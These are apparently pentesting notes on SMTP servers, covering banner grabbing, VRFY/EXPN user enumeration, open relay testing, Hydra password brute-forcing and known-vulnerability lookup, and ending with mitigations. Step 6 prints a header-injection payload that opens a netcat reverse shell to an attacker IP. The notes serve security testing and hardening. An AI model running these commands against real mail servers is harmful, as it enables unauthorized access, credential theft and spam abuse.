SMTP Pentesting Notes

SMTP (Simple Mail Transfer Protocol) is a key component of email communication. Misconfigured SMTP servers can be vulnerable to attacks such as enumeration, open relay abuse, and authentication bypass.

Step 1: Enumerate the SMTP Server

Connect to the SMTP server using Telnet:

telnet <target-ip> 25

Look for the server banner, which may reveal its version and configuration.

Step 2: User Enumeration with VRFY & EXPN

Check if the server allows user verification:

VRFY admin

EXPN postmaster

If valid responses are received, the server is disclosing user accounts, which could aid brute-force attacks.

Step 3: Open Relay Testing

To check if the server allows unauthenticated email forwarding:

MAIL FROM:<attacker@example.com>
RCPT TO:<victim@example.com>
DATA
Subject: Open Relay Test
This is a test message.
.

If the email is delivered successfully, the server is an open relay and can be exploited for spam or phishing attacks.

Step 4: Brute-Forcing SMTP Authentication

Use Hydra to attempt brute-force login:

hydra -L users.txt -P passwords.txt smtp://<target-ip> -s 25

If credentials are found, they may be used for unauthorized email access or further exploitation.

Step 5: Finding SMTP Vulnerabilities

Check the server banner for version details:

220 mail.example.com ESMTP Postfix 2.9.6

Search for known vulnerabilities:

searchsploit postfix

Refer to databases such as:

• Exploit-DB
• CVE Details
• NVD Database

Step 6: Privilege Escalation via Misconfigured Mail Scripts

If the SMTP server interacts with external scripts, it may be possible to execute commands remotely:

From: "|/bin/bash -c 'nc -e /bin/bash <attacker-ip> 4444'"
To: admin@example.com
Subject: Exploit Test

If vulnerable, this could lead to Remote Code Execution (RCE).

Mitigation Recommendations

• Disable VRFY & EXPN to prevent user enumeration.
• Require authentication to prevent unauthorized access.
• Close open relays to block email abuse.
• Enable logging & monitoring to detect suspicious activity.
• Keep software updated to mitigate known vulnerabilities.

Conclusion

SMTP servers can be an attacker's entry point if not properly secured. Understanding and testing for vulnerabilities ensures a more secure email infrastructure.